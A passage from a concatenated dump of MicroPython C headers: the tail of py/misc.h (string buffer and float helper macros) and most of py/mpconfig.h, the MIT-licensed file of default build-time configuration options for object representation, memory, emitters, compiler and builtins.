bytes_to_cut); void vstr_cut_out_bytes(vstr_t *vstr, size_t byte_pos, size_t bytes_to_cut); void vstr_printf(vstr_t *vstr, const char *fmt, ...); /** non-dynamic size-bounded variable buffer/string *************/ #define CHECKBUF(buf, max_size) char buf[max_size + 1]; size_t buf##_len = max_size; char *buf##_p = buf; #define CHECKBUF_RESET(buf, max_size) buf##_len = max_size; buf##_p = buf; #define CHECKBUF_APPEND(buf, src, src_len) \ { size_t l = MIN(src_len, buf##_len); \ memcpy(buf##_p, src, l); \ buf##_len -= l; \ buf##_p += l; } #define CHECKBUF_APPEND_0(buf) { *buf##_p = 0; } #define CHECKBUF_LEN(buf) (buf##_p - buf) #ifdef va_start void vstr_vprintf(vstr_t *vstr, const char *fmt, va_list ap); #endif // Debugging helpers int DEBUG_printf(const char *fmt, ...); extern mp_uint_t mp_verbose_flag; // This is useful for unicode handling. Some CPU archs has // special instructions for efficient implementation of this // function (e.g. CLZ on ARM). // NOTE: this function is unused at the moment #ifndef count_lead_ones static inline mp_uint_t count_lead_ones(byte val) { mp_uint_t c = 0; for (byte mask = 0x80; val & mask; mask >>= 1) { c++; } return c; } #endif /** float internals *************/ #if MICROPY_PY_BUILTINS_FLOAT #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE #define MP_FLOAT_EXP_BITS (11) #define MP_FLOAT_FRAC_BITS (52) #elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT #define MP_FLOAT_EXP_BITS (8) #define MP_FLOAT_FRAC_BITS (23) #endif #define MP_FLOAT_EXP_BIAS ((1 << (MP_FLOAT_EXP_BITS - 1)) - 1) #endif // MICROPY_PY_BUILTINS_FLOAT #endif // MICROPY_INCLUDED_PY_MISC_H ================================================ FILE: micropython/inc/py/mpconfig.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_MPCONFIG_H #define MICROPY_INCLUDED_PY_MPCONFIG_H // This file contains default configuration settings for MicroPython. // You can override any of the options below using mpconfigport.h file // located in a directory of your port. // mpconfigport.h is a file containing configuration settings for a // particular port. mpconfigport.h is actually a default name for // such config, and it can be overridden using MP_CONFIGFILE preprocessor // define (you can do that by passing CFLAGS_EXTRA='-DMP_CONFIGFILE=""' // argument to make when using standard MicroPython makefiles). // This is useful to have more than one config per port, for example, // release vs debug configs, etc. Note that if you switch from one config // to another, you must rebuild from scratch using "-B" switch to make. #ifdef MP_CONFIGFILE #include MP_CONFIGFILE #else #include #endif // Any options not explicitly set in mpconfigport.h will get default // values below. /*****************************************************************************/ /* Object representation */ // A MicroPython object is a machine word having the following form: // - xxxx...xxx1 : a small int, bits 1 and above are the value // - xxxx...xx10 : a qstr, bits 2 and above are the value // - xxxx...xx00 : a pointer to an mp_obj_base_t (unless a fake object) #define MICROPY_OBJ_REPR_A (0) // A MicroPython object is a machine word having the following form: // - xxxx...xx01 : a small int, bits 2 and above are the value // - xxxx...xx11 : a qstr, bits 2 and above are the value // - xxxx...xxx0 : a pointer to an mp_obj_base_t (unless a fake object) #define MICROPY_OBJ_REPR_B (1) // A MicroPython object is a machine word having the following form (called R): // - iiiiiiii iiiiiiii iiiiiiii iiiiiii1 small int with 31-bit signed value // - 01111111 1qqqqqqq qqqqqqqq qqqqq110 str with 20-bit qstr value // - s1111111 10000000 00000000 00000010 +/- inf // - s1111111 1xxxxxxx xxxxxxxx xxxxx010 nan, x != 0 // - seeeeeee efffffff ffffffff ffffff10 30-bit fp, e != 0xff // - pppppppp pppppppp pppppppp pppppp00 ptr (4 byte alignment) // Str and float stored as O = R + 0x80800000, retrieved as R = O - 0x80800000. // This makes strs easier to encode/decode as they have zeros in the top 9 bits. // This scheme only works with 32-bit word size and float enabled. #define MICROPY_OBJ_REPR_C (2) // A MicroPython object is a 64-bit word having the following form (called R): // - seeeeeee eeeeffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff 64-bit fp, e != 0x7ff // - s1111111 11110000 00000000 00000000 00000000 00000000 00000000 00000000 +/- inf // - 01111111 11111000 00000000 00000000 00000000 00000000 00000000 00000000 normalised nan // - 01111111 11111101 00000000 00000000 iiiiiiii iiiiiiii iiiiiiii iiiiiii1 small int // - 01111111 11111110 00000000 00000000 qqqqqqqq qqqqqqqq qqqqqqqq qqqqqqq1 str // - 01111111 11111100 00000000 00000000 pppppppp pppppppp pppppppp pppppp00 ptr (4 byte alignment) // Stored as O = R + 0x8004000000000000, retrieved as R = O - 0x8004000000000000. // This makes pointers have all zeros in the top 32 bits. // Small-ints and strs have 1 as LSB to make sure they don't look like pointers // to the garbage collector. #define MICROPY_OBJ_REPR_D (3) #ifndef MICROPY_OBJ_REPR #define MICROPY_OBJ_REPR (MICROPY_OBJ_REPR_A) #endif /*****************************************************************************/ /* Memory allocation policy */ // Number of bytes in memory allocation/GC block. Any size allocated will be // rounded up to be multiples of this. #ifndef MICROPY_BYTES_PER_GC_BLOCK #define MICROPY_BYTES_PER_GC_BLOCK (4 * BYTES_PER_WORD) #endif // Number of words allocated (in BSS) to the GC stack (minimum is 1) #ifndef MICROPY_ALLOC_GC_STACK_SIZE #define MICROPY_ALLOC_GC_STACK_SIZE (64) #endif // Be conservative and always clear to zero newly (re)allocated memory in the GC. // This helps eliminate stray pointers that hold on to memory that's no longer // used. It decreases performance due to unnecessary memory clearing. // A memory manager which always clears memory can set this to 0. // TODO Do analysis to understand why some memory is not properly cleared and // find a more efficient way to clear it. #ifndef MICROPY_GC_CONSERVATIVE_CLEAR #define MICROPY_GC_CONSERVATIVE_CLEAR (MICROPY_ENABLE_GC) #endif // Support automatic GC when reaching allocation threshold, // configurable by gc.threshold(). #ifndef MICROPY_GC_ALLOC_THRESHOLD #define MICROPY_GC_ALLOC_THRESHOLD (1) #endif // Number of bytes to allocate initially when creating new chunks to store // interned string data. Smaller numbers lead to more chunks being needed // and more wastage at the end of the chunk. Larger numbers lead to wasted // space at the end when no more strings need interning. #ifndef MICROPY_ALLOC_QSTR_CHUNK_INIT #define MICROPY_ALLOC_QSTR_CHUNK_INIT (128) #endif // Initial amount for lexer indentation level #ifndef MICROPY_ALLOC_LEXER_INDENT_INIT #define MICROPY_ALLOC_LEXER_INDENT_INIT (10) #endif // Increment for lexer indentation level #ifndef MICROPY_ALLOC_LEXEL_INDENT_INC #define MICROPY_ALLOC_LEXEL_INDENT_INC (8) #endif // Initial amount for parse rule stack #ifndef MICROPY_ALLOC_PARSE_RULE_INIT #define MICROPY_ALLOC_PARSE_RULE_INIT (64) #endif // Increment for parse rule stack #ifndef MICROPY_ALLOC_PARSE_RULE_INC #define MICROPY_ALLOC_PARSE_RULE_INC (16) #endif // Initial amount for parse result stack #ifndef MICROPY_ALLOC_PARSE_RESULT_INIT #define MICROPY_ALLOC_PARSE_RESULT_INIT (32) #endif // Increment for parse result stack #ifndef MICROPY_ALLOC_PARSE_RESULT_INC #define MICROPY_ALLOC_PARSE_RESULT_INC (16) #endif // Strings this length or less will be interned by the parser #ifndef MICROPY_ALLOC_PARSE_INTERN_STRING_LEN #define MICROPY_ALLOC_PARSE_INTERN_STRING_LEN (10) #endif // Number of bytes to allocate initially when creating new chunks to store // parse nodes. Small leads to fragmentation, large leads to excess use. #ifndef MICROPY_ALLOC_PARSE_CHUNK_INIT #define MICROPY_ALLOC_PARSE_CHUNK_INIT (128) #endif // Initial amount for ids in a scope #ifndef MICROPY_ALLOC_SCOPE_ID_INIT #define MICROPY_ALLOC_SCOPE_ID_INIT (4) #endif // Increment for ids in a scope #ifndef MICROPY_ALLOC_SCOPE_ID_INC #define MICROPY_ALLOC_SCOPE_ID_INC (6) #endif // Maximum length of a path in the filesystem // So we can allocate a buffer on the stack for path manipulation in import #ifndef MICROPY_ALLOC_PATH_MAX #define MICROPY_ALLOC_PATH_MAX (512) #endif // Initial size of module dict #ifndef MICROPY_MODULE_DICT_SIZE #define MICROPY_MODULE_DICT_SIZE (1) #endif // Whether realloc/free should be passed allocated memory region size // You must enable this if MICROPY_MEM_STATS is enabled #ifndef MICROPY_MALLOC_USES_ALLOCATED_SIZE #define MICROPY_MALLOC_USES_ALLOCATED_SIZE (0) #endif // Number of bytes used to store qstr length // Dictates hard limit on maximum Python identifier length, but 1 byte // (limit of 255 bytes in an identifier) should be enough for everyone #ifndef MICROPY_QSTR_BYTES_IN_LEN #define MICROPY_QSTR_BYTES_IN_LEN (1) #endif // Number of bytes used to store qstr hash #ifndef MICROPY_QSTR_BYTES_IN_HASH #define MICROPY_QSTR_BYTES_IN_HASH (2) #endif // Avoid using C stack when making Python function calls. C stack still // may be used if there's no free heap. #ifndef MICROPY_STACKLESS #define MICROPY_STACKLESS (0) #endif // Never use C stack when making Python function calls. This may break // testsuite as will subtly change which exception is thrown in case // of too deep recursion and other similar cases. #ifndef MICROPY_STACKLESS_STRICT #define MICROPY_STACKLESS_STRICT (0) #endif // Don't use alloca calls. As alloca() is not part of ANSI C, this // workaround option is provided for compilers lacking this de-facto // standard function. The way it works is allocating from heap, and // relying on garbage collection to free it eventually. This is of // course much less optimal than real alloca(). #if defined(MICROPY_NO_ALLOCA) && MICROPY_NO_ALLOCA #undef alloca #define alloca(x) m_malloc(x) #endif /*****************************************************************************/ /* MicroPython emitters */ // Whether to support loading of persistent code #ifndef MICROPY_PERSISTENT_CODE_LOAD #define MICROPY_PERSISTENT_CODE_LOAD (0) #endif // Whether to support saving of persistent code #ifndef MICROPY_PERSISTENT_CODE_SAVE #define MICROPY_PERSISTENT_CODE_SAVE (0) #endif // Whether generated code can persist independently of the VM/runtime instance // This is enabled automatically when needed by other features #ifndef MICROPY_PERSISTENT_CODE #define MICROPY_PERSISTENT_CODE (MICROPY_PERSISTENT_CODE_LOAD || MICROPY_PERSISTENT_CODE_SAVE || MICROPY_MODULE_FROZEN_MPY) #endif // Whether to emit x64 native code #ifndef MICROPY_EMIT_X64 #define MICROPY_EMIT_X64 (0) #endif // Whether to emit x86 native code #ifndef MICROPY_EMIT_X86 #define MICROPY_EMIT_X86 (0) #endif // Whether to emit thumb native code #ifndef MICROPY_EMIT_THUMB #define MICROPY_EMIT_THUMB (0) #endif // Whether to enable the thumb inline assembler #ifndef MICROPY_EMIT_INLINE_THUMB #define MICROPY_EMIT_INLINE_THUMB (0) #endif // Whether to enable ARMv7-M instruction support in the Thumb2 inline assembler #ifndef MICROPY_EMIT_INLINE_THUMB_ARMV7M #define MICROPY_EMIT_INLINE_THUMB_ARMV7M (1) #endif // Whether to enable float support in the Thumb2 inline assembler #ifndef MICROPY_EMIT_INLINE_THUMB_FLOAT #define MICROPY_EMIT_INLINE_THUMB_FLOAT (1) #endif // Whether to emit ARM native code #ifndef MICROPY_EMIT_ARM #define MICROPY_EMIT_ARM (0) #endif // Whether to emit Xtensa native code #ifndef MICROPY_EMIT_XTENSA #define MICROPY_EMIT_XTENSA (0) #endif // Whether to enable the Xtensa inline assembler #ifndef MICROPY_EMIT_INLINE_XTENSA #define MICROPY_EMIT_INLINE_XTENSA (0) #endif // Convenience definition for whether any native emitter is enabled #define MICROPY_EMIT_NATIVE (MICROPY_EMIT_X64 || MICROPY_EMIT_X86 || MICROPY_EMIT_THUMB || MICROPY_EMIT_ARM || MICROPY_EMIT_XTENSA) // Convenience definition for whether any inline assembler emitter is enabled #define MICROPY_EMIT_INLINE_ASM (MICROPY_EMIT_INLINE_THUMB || MICROPY_EMIT_INLINE_XTENSA) /*****************************************************************************/ /* Compiler configuration */ // Whether to include the compiler #ifndef MICROPY_ENABLE_COMPILER #define MICROPY_ENABLE_COMPILER (1) #endif // Whether the compiler is dynamically configurable (ie at runtime) #ifndef MICROPY_DYNAMIC_COMPILER #define MICROPY_DYNAMIC_COMPILER (0) #endif // Configure dynamic compiler macros #if MICROPY_DYNAMIC_COMPILER #define MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC (mp_dynamic_compiler.opt_cache_map_lookup_in_bytecode) #define MICROPY_PY_BUILTINS_STR_UNICODE_DYNAMIC (mp_dynamic_compiler.py_builtins_str_unicode) #else #define MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE #define MICROPY_PY_BUILTINS_STR_UNICODE_DYNAMIC MICROPY_PY_BUILTINS_STR_UNICODE #endif // Whether to enable constant folding; eg 1+2 rewritten as 3 #ifndef MICROPY_COMP_CONST_FOLDING #define MICROPY_COMP_CONST_FOLDING (1) #endif // Whether to enable lookup of constants in modules; eg module.CONST #ifndef MICROPY_COMP_MODULE_CONST #define MICROPY_COMP_MODULE_CONST (0) #endif // Whether to enable constant optimisation; id = const(value) #ifndef MICROPY_COMP_CONST #define MICROPY_COMP_CONST (1) #endif // Whether to enable optimisation of: a, b = c, d // Costs 124 bytes (Thumb2) #ifndef MICROPY_COMP_DOUBLE_TUPLE_ASSIGN #define MICROPY_COMP_DOUBLE_TUPLE_ASSIGN (1) #endif // Whether to enable optimisation of: a, b, c = d, e, f // Cost 156 bytes (Thumb2) #ifndef MICROPY_COMP_TRIPLE_TUPLE_ASSIGN #define MICROPY_COMP_TRIPLE_TUPLE_ASSIGN (0) #endif // Whether to enable optimisation of: return a if b else c // Costs about 80 bytes (Thumb2) and saves 2 bytes of bytecode for each use #ifndef MICROPY_COMP_RETURN_IF_EXPR #define MICROPY_COMP_RETURN_IF_EXPR (0) #endif // Whether to use an alternate parser and compiler optimised for small heaps. // This parser/compiler uses more code space but a lot less heap when building // the parse tree. But it has the disadvantage that the entire parse tree must // fit in a contiguous chunk of memory on the heap. #ifndef MICROPY_USE_SMALL_HEAP_COMPILER #define MICROPY_USE_SMALL_HEAP_COMPILER (0) #endif /*****************************************************************************/ /* Internal debugging stuff */ // Whether to collect memory allocation stats #ifndef MICROPY_MEM_STATS #define MICROPY_MEM_STATS (0) #endif // Whether to build functions that print debugging info: // mp_bytecode_print // mp_parse_node_print #ifndef MICROPY_DEBUG_PRINTERS #define MICROPY_DEBUG_PRINTERS (0) #endif // Whether to enable all debugging outputs (it will be extremely verbose) #ifndef MICROPY_DEBUG_VERBOSE #define MICROPY_DEBUG_VERBOSE (0) #endif /*****************************************************************************/ /* Optimisations */ // Whether to use computed gotos in the VM, or a switch // Computed gotos are roughly 10% faster, and increase VM code size by a little #ifndef MICROPY_OPT_COMPUTED_GOTO #define MICROPY_OPT_COMPUTED_GOTO (0) #endif // Whether to cache result of map lookups in LOAD_NAME, LOAD_GLOBAL, LOAD_ATTR, // STORE_ATTR bytecodes. Uses 1 byte extra RAM for each of these opcodes and // uses a bit of extra code ROM, but greatly improves lookup speed. #ifndef MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE #define MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE (0) #endif // Whether to use fast versions of bitwise operations (and, or, xor) when the // arguments are both positive. Increases Thumb2 code size by about 250 bytes. #ifndef MICROPY_OPT_MPZ_BITWISE #define MICROPY_OPT_MPZ_BITWISE (0) #endif /*****************************************************************************/ /* Python internal features */ // Whether to use the POSIX reader for importing files #ifndef MICROPY_READER_POSIX #define MICROPY_READER_POSIX (0) #endif // Whether to use the VFS reader for importing files #ifndef MICROPY_READER_VFS #define MICROPY_READER_VFS (0) #endif // Hook for the VM at the start of the opcode loop (can contain variable // definitions usable by the other hook functions) #ifndef MICROPY_VM_HOOK_INIT #define MICROPY_VM_HOOK_INIT #endif // Hook for the VM during the opcode loop (but only after jump opcodes) #ifndef MICROPY_VM_HOOK_LOOP #define MICROPY_VM_HOOK_LOOP #endif // Hook for the VM just before return opcode is finished being interpreted #ifndef MICROPY_VM_HOOK_RETURN #define MICROPY_VM_HOOK_RETURN #endif // Whether to include the garbage collector #ifndef MICROPY_ENABLE_GC #define MICROPY_ENABLE_GC (0) #endif // Whether to enable finalisers in the garbage collector (ie call __del__) #ifndef MICROPY_ENABLE_FINALISER #define MICROPY_ENABLE_FINALISER (0) #endif // Whether to check C stack usage. C stack used for calling Python functions, // etc. Not checking means segfault on overflow. #ifndef MICROPY_STACK_CHECK #define MICROPY_STACK_CHECK (0) #endif // Whether to have an emergency exception buffer #ifndef MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF #define MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF (0) #endif #if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF # ifndef MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE # define MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE (0) // 0 - implies dynamic allocation # endif #endif // Whether to provide the mp_kbd_exception object, and micropython.kbd_intr function #ifndef MICROPY_KBD_EXCEPTION #define MICROPY_KBD_EXCEPTION (0) #endif // Prefer to raise KeyboardInterrupt asynchronously (from signal or interrupt // handler) - if supported by a particular port. #ifndef MICROPY_ASYNC_KBD_INTR #define MICROPY_ASYNC_KBD_INTR (0) #endif // Whether to include REPL helper function #ifndef MICROPY_HELPER_REPL #define MICROPY_HELPER_REPL (0) #endif // Whether to include emacs-style readline behavior in REPL #ifndef MICROPY_REPL_EMACS_KEYS #define MICROPY_REPL_EMACS_KEYS (0) #endif // Whether to implement auto-indent in REPL #ifndef MICROPY_REPL_AUTO_INDENT #define MICROPY_REPL_AUTO_INDENT (0) #endif // Whether port requires event-driven REPL functions #ifndef MICROPY_REPL_EVENT_DRIVEN #define MICROPY_REPL_EVENT_DRIVEN (0) #endif // Whether to include lexer helper function for unix #ifndef MICROPY_HELPER_LEXER_UNIX #define MICROPY_HELPER_LEXER_UNIX (0) #endif // Long int implementation #define MICROPY_LONGINT_IMPL_NONE (0) #define MICROPY_LONGINT_IMPL_LONGLONG (1) #define MICROPY_LONGINT_IMPL_MPZ (2) #ifndef MICROPY_LONGINT_IMPL #define MICROPY_LONGINT_IMPL (MICROPY_LONGINT_IMPL_NONE) #endif #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG typedef long long mp_longint_impl_t; #endif // Whether to include information in the byte code to determine source // line number (increases RAM usage, but doesn't slow byte code execution) #ifndef MICROPY_ENABLE_SOURCE_LINE #define MICROPY_ENABLE_SOURCE_LINE (0) #endif // Whether to include doc strings (increases RAM usage) #ifndef MICROPY_ENABLE_DOC_STRING #define MICROPY_ENABLE_DOC_STRING (0) #endif // Exception messages are short static strings #define MICROPY_ERROR_REPORTING_TERSE (1) // Exception messages provide basic error details #define MICROPY_ERROR_REPORTING_NORMAL (2) // Exception messages provide full info, e.g. object names #define MICROPY_ERROR_REPORTING_DETAILED (3) #ifndef MICROPY_ERROR_REPORTING #define MICROPY_ERROR_REPORTING (MICROPY_ERROR_REPORTING_NORMAL) #endif // Whether issue warnings during compiling/execution #ifndef MICROPY_WARNINGS #define MICROPY_WARNINGS (0) #endif // Float and complex implementation #define MICROPY_FLOAT_IMPL_NONE (0) #define MICROPY_FLOAT_IMPL_FLOAT (1) #define MICROPY_FLOAT_IMPL_DOUBLE (2) #ifndef MICROPY_FLOAT_IMPL #define MICROPY_FLOAT_IMPL (MICROPY_FLOAT_IMPL_NONE) #endif #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT #define MICROPY_PY_BUILTINS_FLOAT (1) #define MICROPY_FLOAT_CONST(x) x##F #define MICROPY_FLOAT_C_FUN(fun) fun##f typedef float mp_float_t; #elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE #define MICROPY_PY_BUILTINS_FLOAT (1) #define MICROPY_FLOAT_CONST(x) x #define MICROPY_FLOAT_C_FUN(fun) fun typedef double mp_float_t; #else #define MICROPY_PY_BUILTINS_FLOAT (0) #endif #ifndef MICROPY_PY_BUILTINS_COMPLEX #define MICROPY_PY_BUILTINS_COMPLEX (MICROPY_PY_BUILTINS_FLOAT) #endif // Whether to provide a high-quality hash for float and complex numbers. // Otherwise the default is a very simple but correct hashing function. #ifndef MICROPY_FLOAT_HIGH_QUALITY_HASH #define MICROPY_FLOAT_HIGH_QUALITY_HASH (0) #endif // Enable features which improve CPython compatibility // but may lead to more code size/memory usage. // TODO: Originally intended as generic category to not // add bunch of once-off options. May need refactoring later #ifndef MICROPY_CPYTHON_COMPAT #define MICROPY_CPYTHON_COMPAT (1) #endif // Perform full checks as done by CPython. Disabling this // may produce incorrect results, if incorrect data is fed, // but should not lead to MicroPython crashes or similar // grave issues (in other words, only user app should be, // affected, not system). #ifndef MICROPY_FULL_CHECKS #define MICROPY_FULL_CHECKS (1) #endif // Whether POSIX-semantics non-blocking streams are supported #ifndef MICROPY_STREAMS_NON_BLOCK #define MICROPY_STREAMS_NON_BLOCK (0) #endif // Whether to provide stream functions with POSIX-like signatures // (useful for porting existing libraries to MicroPython). #ifndef MICROPY_STREAMS_POSIX_API #define MICROPY_STREAMS_POSIX_API (0) #endif // Whether to call __init__ when importing builtin modules for the first time #ifndef MICROPY_MODULE_BUILTIN_INIT #define MICROPY_MODULE_BUILTIN_INIT (0) #endif // Whether module weak links are supported #ifndef MICROPY_MODULE_WEAK_LINKS #define MICROPY_MODULE_WEAK_LINKS (0) #endif // Whether frozen modules are supported in the form of strings #ifndef MICROPY_MODULE_FROZEN_STR #define MICROPY_MODULE_FROZEN_STR (0) #endif // Whether frozen modules are supported in the form of .mpy files #ifndef MICROPY_MODULE_FROZEN_MPY #define MICROPY_MODULE_FROZEN_MPY (0) #endif // Convenience macro for whether frozen modules are supported #ifndef MICROPY_MODULE_FROZEN #define MICROPY_MODULE_FROZEN (MICROPY_MODULE_FROZEN_STR || MICROPY_MODULE_FROZEN_MPY) #endif // Whether you can override builtins in the builtins module #ifndef MICROPY_CAN_OVERRIDE_BUILTINS #define MICROPY_CAN_OVERRIDE_BUILTINS (0) #endif // Whether to check that the "self" argument of a builtin method has the // correct type. Such an explicit check is only needed if a builtin // method escapes to Python land without a first argument, eg // list.append([], 1). Without this check such calls will have undefined // behaviour (usually segfault) if the first argument is the wrong type. #ifndef MICROPY_BUILTIN_METHOD_CHECK_SELF_ARG #define MICROPY_BUILTIN_METHOD_CHECK_SELF_ARG (1) #endif // Whether to use internally defined errno's (otherwise system provided ones) #ifndef MICROPY_USE_INTERNAL_ERRNO #define MICROPY_USE_INTERNAL_ERRNO (0) #endif // Whether to use internally defined *printf() functions (otherwise external ones) #ifndef MICROPY_USE_INTERNAL_PRINTF #define MICROPY_USE_INTERNAL_PRINTF (1) #endif // Support for internal scheduler #ifndef MICROPY_ENABLE_SCHEDULER #define MICROPY_ENABLE_SCHEDULER (0) #endif // Maximum number of entries in the scheduler #ifndef MICROPY_SCHEDULER_DEPTH #define MICROPY_SCHEDULER_DEPTH (4) #endif // Support for generic VFS sub-system #ifndef MICROPY_VFS #define MICROPY_VFS (0) #endif /*****************************************************************************/ /* Fine control over Python builtins, classes, modules, etc */ // Whether to implement attributes on functions #ifndef MICROPY_PY_FUNCTION_ATTRS #define MICROPY_PY_FUNCTION_ATTRS (0) #endif // Whether to support descriptors (__get__ and __set__) // This costs some code size and makes all load attrs and store attrs slow #ifndef MICROPY_PY_DESCRIPTORS #define MICROPY_PY_DESCRIPTORS (0) #endif // Whether to support class __delattr__ and __setattr__ methods // This costs some code size and makes all del attrs and store attrs slow #ifndef MICROPY_PY_DELATTR_SETATTR #define MICROPY_PY_DELATTR_SETATTR (0) #endif // Support for async/await/async for/async with #ifndef MICROPY_PY_ASYNC_AWAIT #define MICROPY_PY_ASYNC_AWAIT (!MICROPY_USE_SMALL_HEAP_COMPILER) #endif // Issue a warning when comparing str and bytes objects #ifndef MICROPY_PY_STR_BYTES_CMP_WARN #define MICROPY_PY_STR_BYTES_CMP_WARN (0) #endif // Whether str object is proper unicode #ifndef MICROPY_PY_BUILTINS_STR_UNICODE #define MICROPY_PY_BUILTINS_STR_UNICODE (0) #endif // Whether str.center() method provided #ifndef MICROPY_PY_BUILTINS_STR_CENTER #define MICROPY_PY_BUILTINS_STR_CENTER (0) #endif // Whether str.partition()/str.rpartition() method provided #ifndef MICROPY_PY_BUILTINS_STR_PARTITION #define MICROPY_PY_BUILTINS_STR_PARTITION (0) #endif // Whether str.splitlines() method provided #ifndef MICROPY_PY_BUILTINS_STR_SPLITLINES #define MICROPY_PY_BUILTINS_STR_SPLITLINES (0) #endif // Whether to support bytearray object #ifndef MICROPY_PY_BUILTINS_BYTEARRAY #define MICROPY_PY_BUILTINS_BYTEARRAY (1) #endif // Whether to support memoryview object #ifndef MICROPY_PY_BUILTINS_MEMORYVIEW #define MICROPY_PY_BUILTINS_MEMORYVIEW (0) #endif // Whether to support set object #ifndef MICROPY_PY_BUILTINS_SET #define MICROPY_PY_BUILTINS_SET (1) #endif // Whether to support slice subscript operators and slice object #ifndef MICROPY_PY_BUILTINS_SLICE #define MICROPY_PY_BUILTINS_SLICE (1) #endif // Whether to support slice attribute read access, // i.e. slice.start, slice.stop, slice.step #ifndef MICROPY_PY_BUILTINS_SLICE_ATTRS #define MICROPY_PY_BUILTINS_SLICE_ATTRS (0) #endif // Whether to support frozenset object #ifndef MICROPY_PY_BUILTINS_FROZENSET #define MICROPY_PY_BUILTINS_FROZENSET (0) #endif // Whether to support property object #ifndef MICROPY_PY_BUILTINS_PROPERTY #define MICROPY_PY_BUILTINS_PROPERTY (1) #endif // Whether to implement the start/stop/step attributes (readback) on // the "range" builtin type. Rarely used, and costs ~60 bytes (x86). #ifndef MICROPY_PY_BUILTINS_RANGE_ATTRS #define MICROPY_PY_BUILTINS_RANGE_ATTRS (1) #endif // Whether to support timeout exceptions (like socket.timeout) #ifndef MICROPY_PY_BUILTINS_TIMEOUTERROR #define MICROPY_PY_BUILTINS_TIMEOUTERROR (0) #endif // Whether to support complete set of special methods // for user classes, otherwise only the most used #ifndef MICROPY_PY_ALL_SPECIAL_METHODS #define MICROPY_PY_ALL_SPECIAL_METHODS (0) #endif // Whether to support compile function #ifndef MICROPY_PY_BUILTINS_COMPILE #define MICROPY_PY_BUILTINS_COMPILE (0) #endif // Whether to support enumerate function(type) #ifndef MICROPY_PY_BUILTINS_ENUMERATE #define MICROPY_PY_BUILTINS_ENUMERATE (1) #endif // Whether to support eval and exec functions // By default they are supported if the compiler is enabled #ifndef MICROPY_PY_BUILTINS_EVAL_EXEC #define MICROPY_PY_BUILTINS_EVAL_EXEC (MICROPY_ENABLE_COMPILER) #endif // Whether to support the Python 2 execfile function #ifndef MICROPY_PY_BUILTINS_EXECFILE #define MICROPY_PY_BUILTINS_EXECFILE (0) #endif // Whether to support filter function(type) #ifndef MICROPY_PY_BUILTINS_FILTER #define MICROPY_PY_BUILTINS_FILTER (1) #endif // Whether to support reversed function(type) #ifndef MICROPY_PY_BUILTINS_REVERSED #define MICROPY_PY_BUILTINS_REVERSED (1) #endif // Whether to define "NotImplemented" special constant #ifndef MICROPY_PY_BUILTINS_NOTIMPLEMENTED #define MICROPY_PY_BUILTINS_NOTIMPLEMENTED (0) #endif // Whether to provide the built-in input() function. The implementation of this // uses mp-readline, so can only be enabled if the port uses this readline. #ifndef MICROPY_PY_BUILTINS_INPUT #define MICROPY_PY_BUILTINS_INPUT (0) #endif // Whether to support min/max functions #ifndef MICROPY_PY_BUILTINS_MIN_MAX #define MICROPY_PY_BUILTINS_MIN_MAX (1) #endif // Support for calls to pow() with 3 integer arguments #ifndef MICROPY_PY_BUILTINS_POW3 #define MICROPY_PY_BUILTINS_POW3 (0) #endif // Whether to provide the help function #ifndef MICROPY_PY_BUILTINS_HELP #define MICROPY_PY_BUILTINS_HELP (0) #endif // Use this to configure the help text shown for help(). It should be a // variable with the type "const char*". A sensible default is provided. #ifndef MICROPY_PY_BUILTINS_HELP_TEXT #define MICROPY_PY_BUILTINS_HELP_TEXT mp_help_default_text #endif // Add the ability to list the available modules when executing help('modules') #ifndef MICROPY_PY_BUILTINS_HELP_MODULES #define MICROPY_PY_BUILTINS_HELP_MODULES (0) #endif // Whether to set __file__ for imported modules #ifndef MICROPY_PY___FILE__ #define MICROPY_PY___FILE__ (1) #endif // Whether to provide mem-info related functions in micropython module #ifndef MICROPY_PY_MICROPYTHON_MEM_INFO #define MICROPY_PY_MICROPYTHON_MEM_INFO (0) #endif // Whether to provide "array" module. Note that large chunk of the // underlying code is shared with "bytearray" builtin type, so to // get real savings, it should be disabled too. #ifndef MICROPY_PY_ARRAY #define MICROPY_PY_ARRAY (1) #endif // Whether to support slice assignments for array (and bytearray). // This is rarely used, but adds ~0.5K of code. #ifndef MICROPY_PY_ARRAY_SLICE_ASSIGN #define MICROPY_PY_ARRAY_SLICE_ASSIGN (0) #endif // Whether to support attrtuple type (MicroPython extension) // It provides space-efficient tuples with attribute access #ifndef MICROPY_PY_ATTRTUPLE #define MICROPY_PY_ATTRTUPLE (1) 